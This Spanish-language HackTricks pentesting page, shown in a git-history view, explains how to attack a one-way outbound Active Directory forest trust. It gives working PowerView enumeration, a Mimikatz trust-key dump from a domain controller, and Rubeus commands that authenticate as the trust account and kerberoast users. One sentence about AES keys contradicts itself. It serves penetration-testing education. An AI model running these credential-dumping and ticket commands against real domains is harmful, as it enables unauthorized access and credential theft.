hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md

99 lines
7.9 KiB
Markdown
Raw Normal View History

2023-06-03 01:46:23 +00:00
# Dominio Forestal Externo - Unidireccional (Saliente)
2022-08-16 00:18:24 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-08-16 00:18:24 +00:00
2023-06-03 01:46:23 +00:00
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-08-16 00:18:24 +00:00
</details>
2023-06-03 01:46:23 +00:00
En este escenario, **tu dominio** está **confiando** algunos **privilegios** a un principal de un **dominio diferente**.
2022-08-16 00:18:24 +00:00
2023-06-03 01:46:23 +00:00
## Enumeración
2022-08-16 00:18:24 +00:00
2023-06-03 01:46:23 +00:00
### Confianza Saliente
2022-08-16 00:18:24 +00:00
```powershell
# Notice Outbound trust
Get-DomainTrust
SourceName : root.local
TargetName : ext.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Outbound
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain : root.local
GroupName : External Users
2022-10-08 08:34:51 +00:00
GroupDistinguishedName : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
2022-08-16 00:18:24 +00:00
MemberDomain : root.io
2022-10-08 08:34:51 +00:00
MemberName : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
2022-08-16 00:18:24 +00:00
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)
```
2023-06-03 01:46:23 +00:00
## Ataque a la cuenta de confianza
2022-08-16 00:18:24 +00:00
2023-06-03 01:46:23 +00:00
Cuando se establece una confianza de dominio o bosque de Active Directory desde un dominio _B_ a un dominio _A_ (_**B**_ confía en A), se crea una cuenta de confianza en el dominio **A**, llamada **B. Kerberos trust keys**. Los _**trust keys**_ de Kerberos derivados de la **contraseña de la cuenta de confianza** se utilizan para **encriptar TGTs inter-realm**, cuando los usuarios del dominio A solicitan tickets de servicio para servicios en el dominio B.
2022-08-16 00:18:24 +00:00
2023-06-03 01:46:23 +00:00
Es posible obtener la contraseña y el hash de la cuenta de confianza desde un Controlador de Dominio usando:
2022-08-16 00:18:24 +00:00
```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
```
2023-06-03 01:46:23 +00:00
El riesgo se debe a que la cuenta de confianza B$ está habilitada, **el Grupo Primario de B$ es Domain Users del dominio A**, cualquier permiso otorgado a Domain Users se aplica a B$, y es posible utilizar las credenciales de B$ para autenticar contra el dominio A.
2022-08-16 00:18:24 +00:00
{% hint style="warning" %}
2023-06-03 01:46:23 +00:00
Por lo tanto, desde el dominio de confianza es posible obtener un usuario dentro del dominio de confianza. Este usuario no tendrá muchos permisos (probablemente solo Domain Users), pero podrás **enumerar el dominio externo**.
2022-08-16 00:18:24 +00:00
{% endhint %}
2023-06-03 01:46:23 +00:00
En este ejemplo, el dominio de confianza es `ext.local` y el de confianza es `root.local`. Por lo tanto, se crea un usuario llamado `EXT$` dentro de `root.local`.
2022-08-16 00:18:24 +00:00
```bash
# Use mimikatz to dump trusted keys
lsadump::trust /patch
# You can see in the output the old and current credentials
# You will find clear text, AES and RC4 hashes
```
2023-06-03 01:46:23 +00:00
Por lo tanto, en este punto tenemos la **contraseña en texto claro actual de `root.local\EXT$` y la clave secreta de Kerberos**. Las claves secretas AES de Kerberos de **`root.local\EXT$`** son idénticas a las claves de confianza AES ya que se utiliza una sal diferente, pero las claves RC4 son las mismas. Por lo tanto, podemos **usar la clave de confianza RC4** extraída de ext.local para **autenticarnos** como `root.local\EXT$` contra `root.local`.
2022-08-16 00:18:24 +00:00
```bash
.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt
```
2023-06-03 01:46:23 +00:00
Con esto puedes empezar a enumerar ese dominio e incluso hacer kerberoasting de usuarios:
2022-08-16 00:18:24 +00:00
```
.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local
```
2023-06-03 01:46:23 +00:00
### Obtención de la contraseña de confianza en texto claro
2022-08-16 00:18:24 +00:00
2023-06-03 01:46:23 +00:00
En el flujo anterior se utilizó el hash de confianza en lugar de la **contraseña en texto claro** (que también fue **volcada por mimikatz**).
2022-08-16 00:18:24 +00:00
2023-06-03 01:46:23 +00:00
La contraseña en texto claro se puede obtener convirtiendo la salida \[ CLEAR ] de mimikatz de hexadecimal y eliminando los bytes nulos '\x00':
2022-08-16 00:18:24 +00:00
2022-12-11 19:30:44 +00:00
![](<../../.gitbook/assets/image (2) (1) (2).png>)
2022-08-16 00:18:24 +00:00
2023-06-03 01:46:23 +00:00
A veces, al crear una relación de confianza, el usuario debe escribir una contraseña para la confianza. En esta demostración, la clave es la contraseña de confianza original y, por lo tanto, legible por humanos. A medida que la clave cambia (cada 30 días), el texto claro no será legible por humanos pero técnicamente aún utilizable.
2022-08-16 00:18:24 +00:00
2023-06-03 01:46:23 +00:00
La contraseña en texto claro se puede utilizar para realizar autenticación regular como la cuenta de confianza, una alternativa a solicitar un TGT utilizando la clave secreta Kerberos de la cuenta de confianza. Aquí, consultando root.local desde ext.local para miembros de Domain Admins:
2022-08-16 00:18:24 +00:00
2022-12-11 19:30:44 +00:00
![](<../../.gitbook/assets/image (1) (1) (1) (2).png>)
2022-08-16 00:18:24 +00:00
2023-06-03 01:46:23 +00:00
## Referencias
2022-08-16 00:18:24 +00:00
* [https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted)
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-08-16 00:18:24 +00:00
2023-06-03 01:46:23 +00:00
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-08-16 00:18:24 +00:00
</details>